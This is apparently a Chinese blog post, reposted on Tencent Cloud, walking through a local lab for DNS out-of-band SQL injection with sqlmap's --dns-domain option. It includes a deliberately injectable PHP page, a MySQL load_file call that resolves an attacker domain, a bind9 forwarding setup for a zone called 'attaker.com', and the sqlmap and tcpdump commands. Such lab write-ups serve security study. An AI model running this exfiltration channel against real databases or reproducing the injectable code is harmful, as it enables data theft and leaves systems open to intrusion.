前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >sqlmap –dns-domain 突破延时注入

sqlmap –dns-domain 突破延时注入

作者头像
奶糖味的代言
发布2018-04-16 10:35:57
2.1K0
发布2018-04-16 10:35:57
举报
文章被收录于专栏:小白安全小白安全

这是一个本地模拟环境进行测试。

首先dns注入

MySQL> show variables like ‘%skip%‘;

+------------------------+-------+

| Variable_name | Value |

+------------------------+-------+

| skip_external_locking | ON |

| skip_name_resolve | OFF |

| skip_networking | OFF |

| skip_show_database | OFF |

| slave_skip_errors | OFF |

| sql_slave_skip_counter | 0 |

+------------------------+-------+

6 rows in set

这里可以看到   | skip_name_resolve | OFF |

说明是可以进行域名解析

那么MySQL 发起dns查询请求用什么语句呢

MySQL> select load_file(‘////fdsafdsfdssx.xxxx.com//1.txt‘);

+-----------------------------------------------+

| load_file(‘////fdsafdsfdssx.xxxx.com//1.txt‘) |

+-----------------------------------------------+

| NULL |

+-----------------------------------------------+

1 row in set

MySQL> select 

‘////fdsafdsfdssx.xxxx.com//1.txt‘;

+-------------------------------+

| //fdsafdsfdssx.xxxx.com/1.txt |

+-------------------------------+

| //fdsafdsfdssx.xxxx.com/1.txt |

+-------------------------------+

1 row in set

这里看到 //xxxxx.com/1.txt 是不是联系到了获取共享文件SMB协议,因为这里是域名所以会发起dns查询查对应ip

那么我们就可以想到用

来获取数据。

接下来模拟测试环境 用 sqlmap –dns-domain 参数进行dns通道注入

A  -> win8   -> web server && sqli

B  -> ubuntu 14 -> sqlmap

C  -> ubuntu   -> bind9 service

首先A运行php MySQL apache 环境 随便写一个sql注入点

<?php

$con = MySQL_connect("localhost","root","root") or die();

MySQL_select_db("burp");

$id = $_GET[‘id‘];

$sql = "select host from burp where id=".$id; // 数字型 

//$sql = "select `new` from `sql` where id="."‘".$id."‘"; // 字符型

echo $sql;

$res = MySQL_query($sql);

echo "<br><br>";

echo "<b>";

while($rows = MySQL_fetch_array($res,MySQL_ASSOC)){

    echo $rows[‘host‘];

}

echo "<b>";

?>

相当明显的一个注入点

B sqlmap 不多说

C bind9 服务

配置如下

zone "attaker.com" {

        type master;

        file "/etc/bind/zones/attaker.com.db";

        };

zone "whoami.com"{

        type forward;

        forwarders {192.168.199.144;}; # B机器ip

};

# This is the zone definition for reverse DNS. replace 0.168.192 with your network address in reverse notation - e.g my network address is 192.168.0

zone "199.168.192.in-addr.arpa" {

     type master;

     file "/etc/bind/zones/rev.199.168.192.in-addr.arpa";

};

其中关键点就是forwarded 转发到B机器上

[email protected:/etc/bind/zones# vi attaker.com.db 

attaker.com. IN SOA ns1.attaker.com. admin.attaker.com. (                                                             

        2006081401

        28800

        3600

        604800

        38400

        )

attaker.com. IN NS ns1.attaker.com.

attaker.com. IN MX 10 mta.attaker.com.

                 IN A 192.168.199.129

www IN A 192.168.199.129

mta IN A 192.168.199.129

ns1 IN A 192.168.199.144

[email protected:/etc/bind/zones# vi rev.199.168.192.in-addr.arpa 

@ IN SOA ns1.attaker.com. admin.attaker.com. (

                        2006081401;

                        28800; 

                        604800;

                        604800;

                        86400

)

                     IN NS ns1.attaker.com.

1 IN PTR attaker.com

这样就配置好了,启动bind服务。

然后将win8的dns指向C的ip

启动sqlmap

Python sqlmap.py -u “http://192.168.199.210/sqli.php?id=5000” –tech “B” –dns-domain “whoami.com” –dbs

同时b上面开启tcpdump

[email protected]:~# tcpdump -i eth0 -nt -s 500 port domain |grep whoami

发现A机器有发起dns请求过来

最后用burp抓一下sqlmap的数据

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档